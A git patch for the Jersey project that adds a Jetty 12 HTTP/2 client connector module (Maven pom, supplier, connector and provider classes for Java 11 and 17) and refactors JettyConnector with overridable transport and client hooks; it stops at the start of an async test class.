Jetty 12 HTTP/2 support

Signed-off-by: Maxim Nesen <maxim.nesen@oracle.com>
diff --git a/bom/pom.xml b/bom/pom.xml
index fd7688d..123fbf0 100644
--- a/bom/pom.xml
+++ b/bom/pom.xml
@@ -93,11 +93,11 @@
                 <artifactId>jersey-jetty11-connector</artifactId>
                 <version>${project.version}</version>
             </dependency>
-            <!--<dependency>
+            <dependency>
                 <groupId>org.glassfish.jersey.connectors</groupId>
-                <artifactId>jersey-jetty11-http2-connector</artifactId>
+                <artifactId>jersey-jetty-http2-connector</artifactId>
                 <version>${project.version}</version>
-            </dependency>--> <!-- TODO - HTTP/2 support for Jetty 12 container -->
+            </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.connectors</groupId>
                 <artifactId>jersey-jdk-connector</artifactId>
@@ -118,11 +118,11 @@
                 <artifactId>jersey-container-jetty11-http</artifactId>
                 <version>${project.version}</version>
             </dependency>
-       <!-- <dependency>
+            <dependency>
                 <groupId>org.glassfish.jersey.containers</groupId>
-                <artifactId>jersey-container-jetty11-http2</artifactId>
+                <artifactId>jersey-container-jetty-http2</artifactId>
                 <version>${project.version}</version>
-            </dependency>--> <!-- TODO - HTTP/2 support for Jetty 12 container -->
+            </dependency>
             <dependency>
                 <groupId>org.glassfish.jersey.containers</groupId>
                 <artifactId>jersey-container-grizzly2-http</artifactId>
diff --git a/bundles/apidocs/pom.xml b/bundles/apidocs/pom.xml
index 1e50cb7..95414cc 100644
--- a/bundles/apidocs/pom.xml
+++ b/bundles/apidocs/pom.xml
@@ -295,9 +295,9 @@
                             <includeDependencySources>true</includeDependencySources>
                             <sourceFileExcludes>
                                 <fileExclude>META-INF/versions/12/org/glassfish/jersey/wadl/doclet/*.java</fileExclude>
+                                <fileExclude>META-INF/versions/17/org/glassfish/jersey/jetty/*.java</fileExclude>
                                 <fileExclude>META-INF/versions/17/org/glassfish/jersey/helidon/connector/*.java</fileExclude>
                                 <fileExclude>org/glassfish/jersey/helidon/connector/*.java</fileExclude>
-                                <fileExclude>META-INF/versions/17/org/glassfish/jersey/helidon/connector/*.java</fileExclude>
                                 <fileExclude>org/glassfish/jersey/wadl/doclet/*.java</fileExclude>
                             </sourceFileExcludes>
                             <dependencySourceIncludes>
diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
index 01afd47..aa8f0e6 100644
--- a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
+++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
@@ -131,7 +131,7 @@
  * @author Arul Dhesiaseelan (aruld at acm.org)
  * @author Marek Potociar
  */
-class JettyConnector implements Connector {
+public class JettyConnector implements Connector {
 
     private static final Logger LOGGER = Logger.getLogger(JettyConnector.class.getName());
 
@@ -146,23 +146,17 @@
      * @param jaxrsClient JAX-RS client instance, for which the connector is created.
      * @param config client configuration.
      */
-    JettyConnector(final Client jaxrsClient, final Configuration config) {
+    public JettyConnector(final Client jaxrsClient, final Configuration config) {
         this.configuration = config;
-        HttpClient httpClient = null;
-        if (config.isRegistered(JettyHttpClientSupplier.class)) {
-            Optional<Object> contract = config.getInstances().stream()
-                    .filter(a-> JettyHttpClientSupplier.class.isInstance(a)).findFirst();
-            if (contract.isPresent()) {
-                httpClient = ((JettyHttpClientSupplier) contract.get()).getHttpClient();
-            }
-        }
+        HttpClient httpClient = getRegisteredHttpClient(config);
+
         if (httpClient == null) {
             final SSLContext sslContext = jaxrsClient.getSslContext();
             final SslContextFactory.Client sslContextFactory = new SslContextFactory.Client(false);
             sslContextFactory.setSslContext(sslContext);
             final ClientConnector connector = new ClientConnector();
             connector.setSslContextFactory(sslContextFactory);
-            final HttpClientTransport transport = new HttpClientTransportOverHTTP(connector);
+            final HttpClientTransport transport = initClientTransport(connector);
             httpClient = new HttpClient(transport);
         }
         this.client = httpClient;
@@ -232,6 +226,37 @@
     }
 
     /**
+     * provides required HTTP client transport for client
+     *
+     * the default transport is {@link HttpClientTransportOverHTTP}
+     *
+     * @return instance of {@link HttpClientTransport}
+     * @since 2.41
+     */
+    protected HttpClientTransport initClientTransport(ClientConnector clientConnector) {
+        return new HttpClientTransportOverHTTP(clientConnector);
+    }
+
+    /**
+     * provides custom registered {@link HttpClient} if any (or NULL)
+     *
+     * @param config configuration where {@link HttpClient} could be registered
+     * @return {@link HttpClient} instance if any was previously registered or NULL
+     *
+     * @since 2.41
+     */
+    protected HttpClient getRegisteredHttpClient(Configuration config) {
+        if (config.isRegistered(JettyHttpClientSupplier.class)) {
+            Optional<Object> contract = config.getInstances().stream()
+                    .filter(a-> JettyHttpClientSupplier.class.isInstance(a)).findFirst();
+            if (contract.isPresent()) {
+                return  ((JettyHttpClientSupplier) contract.get()).getHttpClient();
+            }
+        }
+        return null;
+    }
+
+    /**
      * Get the {@link HttpClient}.
      *
      * @return the {@link HttpClient}.
diff --git a/connectors/jetty-http2-connector/pom.xml b/connectors/jetty-http2-connector/pom.xml
new file mode 100644
index 0000000..efede54
--- /dev/null
+++ b/connectors/jetty-http2-connector/pom.xml
@@ -0,0 +1,273 @@
+<?xml version="1.0"?>
+<!--
+
+    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <groupId>org.glassfish.jersey.connectors</groupId>
+        <artifactId>project</artifactId>
+        <version>3.1.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>jersey-jetty-http2-connector</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-connectors-jetty-http2</name>
+
+    <description>Jersey Client Transport via Jetty</description>
+
+    <properties>
+        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
+        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
+    </properties>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-client</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-util</artifactId>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-jetty-connector</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-jaxb</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-jackson</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>com.sun.istack</groupId>
+                <artifactId>istack-commons-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.codehaus.mojo</groupId>
+                <artifactId>build-helper-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-compiler-plugin</artifactId>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.felix</groupId>
+                <artifactId>maven-bundle-plugin</artifactId>
+                <inherited>true</inherited>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jetty.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                </configuration>
+            </plugin>
+        </plugins>
+    </build>
+
+    <profiles>
+        <profile>
+            <id>JettyExclude</id>
+            <activation>
+                <jdk>[11,17)</jdk>
+            </activation>
+            <properties>
+                <jetty.version>${jetty11.version}</jetty.version>
+            </properties>
+            <build>
+                <directory>${java11.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java11.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-compiler-plugin</artifactId>
+                        <configuration>
+                            <testExcludes>
+                                <testExclude>org/glassfish/jersey/jetty/http2/connector/*.java</testExclude>
+                            </testExcludes>
+                        </configuration>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>JettyInclude</id>
+            <activation>
+                <jdk>[17,)</jdk>
+            </activation>
+            <dependencies>
+                <dependency>
+                    <groupId>org.eclipse.jetty.http2</groupId>
+                    <artifactId>jetty-http2-client</artifactId>
+                </dependency>
+                <dependency>
+                    <groupId>org.eclipse.jetty.http2</groupId>
+                    <artifactId>jetty-http2-client-transport</artifactId>
+                </dependency>
+                <dependency>
+                    <groupId>org.glassfish.jersey.containers</groupId>
+                    <artifactId>jersey-container-jetty-http2</artifactId>
+                    <version>${project.version}</version>
+                    <scope>test</scope>
+                </dependency>
+                <dependency>
+                    <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+                    <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
+                    <version>${project.version}</version>
+                    <scope>test</scope>
+                </dependency>
+            </dependencies>
+            <build>
+                <directory>${java17.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java17.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>copyJDK17FilesToMultiReleaseJar</id>
+            <activation>
+                <file>
+                    <!-- ${java17.build.outputDirectory} does not work here -->
+                    <exists>target17/classes/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.class</exists>
+                </file>
+                <jdk>[11,17)</jdk>
+            </activation>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.apache.felix</groupId>
+                        <artifactId>maven-bundle-plugin</artifactId>
+                        <inherited>true</inherited>
+                        <extensions>true</extensions>
+                        <configuration>
+                            <instructions>
+                                <Multi-Release>true</Multi-Release>
+                            </instructions>
+                        </configuration>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-resources-plugin</artifactId>
+                        <inherited>true</inherited>
+                        <executions>
+                            <execution>
+                                <id>copy-jdk17-classes</id>
+                                <phase>prepare-package</phase>
+                                <goals>
+                                    <goal>copy-resources</goal>
+                                </goals>
+                                <configuration>
+                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
+                                    <resources>
+                                        <resource>
+                                            <directory>${java17.build.outputDirectory}/classes</directory>
+                                        </resource>
+                                    </resources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-antrun-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <id>copy-jdk17-sources</id>
+                                <phase>package</phase>
+                                <configuration>
+                                    <target>
+                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <echo>sources-jar: ${sources-jar}</echo>
+                                        <zip destfile="${sources-jar}" update="true">
+                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
+                                        </zip>
+                                    </target>
+                                </configuration>
+                                <goals>
+                                    <goal>run</goal>
+                                </goals>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+    </profiles>
+
+</project>
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
new file mode 100644
index 0000000..960bbb6
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+/**
+ * Jersey HTTP2 client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
+ * Jetty Client.
+ */
+package org.glassfish.jersey.jetty.http2.connector;
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
new file mode 100644
index 0000000..7d203cc
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.ProcessingException;
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
+import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
+import org.glassfish.jersey.jetty.connector.LocalizationMessages;
+
+/**
+ * HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ClientSupplier implements JettyHttpClientContract {
+    private final HttpClient http2Client;
+
+    /**
+     * default Http2Client created for the supplier.
+     */
+    public JettyHttp2ClientSupplier() {
+        this(createHttp2Client());
+    }
+    /**
+     * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
+     * to a {@link org.glassfish.jersey.client.ClientConfig}
+     * @param http2Client seed doc for JDK 11+.
+     */
+    public JettyHttp2ClientSupplier(HttpClient http2Client) {
+        this.http2Client = http2Client;
+    }
+
+    private static final HttpClient createHttp2Client() {
+        if (JdkVersion.getJdkVersion().getMajor() < 17) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        return null; // does not work at JDK lower than 17
+    }
+
+    @Override
+    public HttpClient getHttpClient() {
+        return http2Client;
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
new file mode 100644
index 0000000..301879c
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jetty.connector.LocalizationMessages;
+
+/**
+ * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
+    @Override
+    public Connector getConnector(Client client, Configuration runtimeConfig) {
+        if (JdkVersion.getJdkVersion().getMajor() < 17) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        return null; // does not work at JDK lower than 17
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
new file mode 100644
index 0000000..36556e0
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.http2.client.HTTP2Client;
+import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2;
+import org.glassfish.jersey.jetty.connector.JettyConnector;
+import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
+import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
+
+/**
+ * HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ClientSupplier implements JettyHttpClientContract {
+    private final HttpClient http2Client;
+
+    /**
+     * default Http2Client created for the supplier.
+     */
+    public JettyHttp2ClientSupplier() {
+        this(createHttp2Client());
+    }
+    /**
+     * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
+     * to a {@link org.glassfish.jersey.client.ClientConfig}
+     * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
+     */
+    public JettyHttp2ClientSupplier(HttpClient http2Client) {
+        this.http2Client = http2Client;
+    }
+
+    private static final HttpClient createHttp2Client() {
+        final HttpClientTransport transport =  new HttpClientTransportOverHTTP2(new HTTP2Client());
+        return new HttpClient(transport);
+    }
+
+    @Override
+    public HttpClient getHttpClient() {
+        return http2Client;
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
new file mode 100644
index 0000000..a602b0d
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.http2.client.HTTP2Client;
+import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2;
+import org.eclipse.jetty.io.ClientConnector;
+import org.glassfish.jersey.jetty.connector.JettyConnector;
+
+import java.util.Optional;
+
+/**
+ * Extends {@link JettyConnector} with HTTP/2 transport support
+ *
+ * @since 2.41
+ */
+class JettyHttp2Connector extends JettyConnector {
+
+
+    /**
+     * Create the new Jetty HTTP/2 client connector.
+     *
+     * @param jaxrsClient JAX-RS client instance, for which the connector is created.
+     * @param config      client configuration.
+     */
+    JettyHttp2Connector(Client jaxrsClient, Configuration config) {
+        super(jaxrsClient, config);
+    }
+
+    /**
+     * provides required {@link HttpClientTransport} for client
+     *
+     * The overriden method provides {@link HttpClientTransportOverHTTP2} with initialized {@link HTTP2Client}
+     *
+     * @return {@link HttpClientTransportOverHTTP2}
+     * @since 2.41
+     */
+    @Override
+    protected HttpClientTransport initClientTransport(ClientConnector clientConnector) {
+        return new HttpClientTransportOverHTTP2(new HTTP2Client(clientConnector));
+    }
+
+    /**
+     * provides custom registered {@link HttpClient} (if any) with HTTP/2 support
+     *
+     * @param config configuration where {@link HttpClient} could be registered
+     * @return {@link HttpClient} instance if any was previously registered or NULL
+     *
+     * @since 2.41
+     */
+    @Override
+    protected HttpClient getRegisteredHttpClient(Configuration config) {
+        if (config.isRegistered(JettyHttp2ClientSupplier.class)) {
+            Optional<Object> contract = config.getInstances().stream()
+                    .filter(a-> JettyHttp2ClientSupplier.class.isInstance(a)).findFirst();
+            if (contract.isPresent()) {
+                return  ((JettyHttp2ClientSupplier) contract.get()).getHttpClient();
+            }
+        }
+        return null;
+    }
+}
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
new file mode 100644
index 0000000..02eaf5a
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jetty.connector.LocalizationMessages;
+
+/**
+ * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
+    @Override
+    public Connector getConnector(Client client, Configuration runtimeConfig) {
+        return new JettyHttp2Connector(client, runtimeConfig);
+    }
+
+    public static HttpClient getHttpClient(Configurable<?> component) {
+        if (!(component instanceof Initializable)) {
+            throw new IllegalArgumentException(
+                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+        }
+
+        final Initializable<?> initializable = (Initializable<?>) component;
+        Connector connector = initializable.getConfiguration().getConnector();
+        if (connector == null) {
+            initializable.preInitialize();
+            connector = initializable.getConfiguration().getConnector();
+        }
+
+        if (connector instanceof JettyHttp2Connector) {
+            return ((JettyHttp2Connector) connector).getHttpClient();
+        }
+
+        throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+    }
+}
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
new file mode 100644
index 0000000..5fc8425
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
@@ -0,0 +1,21 @@
+#
+# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+# {0} - HTTP method, e.g. GET, DELETE
+method.not.supported=Method {0} not supported.
+invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
+expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
+not.supported=Jetty connector is not supported on JDK version less than 17.
diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
new file mode 100644
index 0000000..76ef67b
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.hamcrest.Matchers;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class AsyncTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
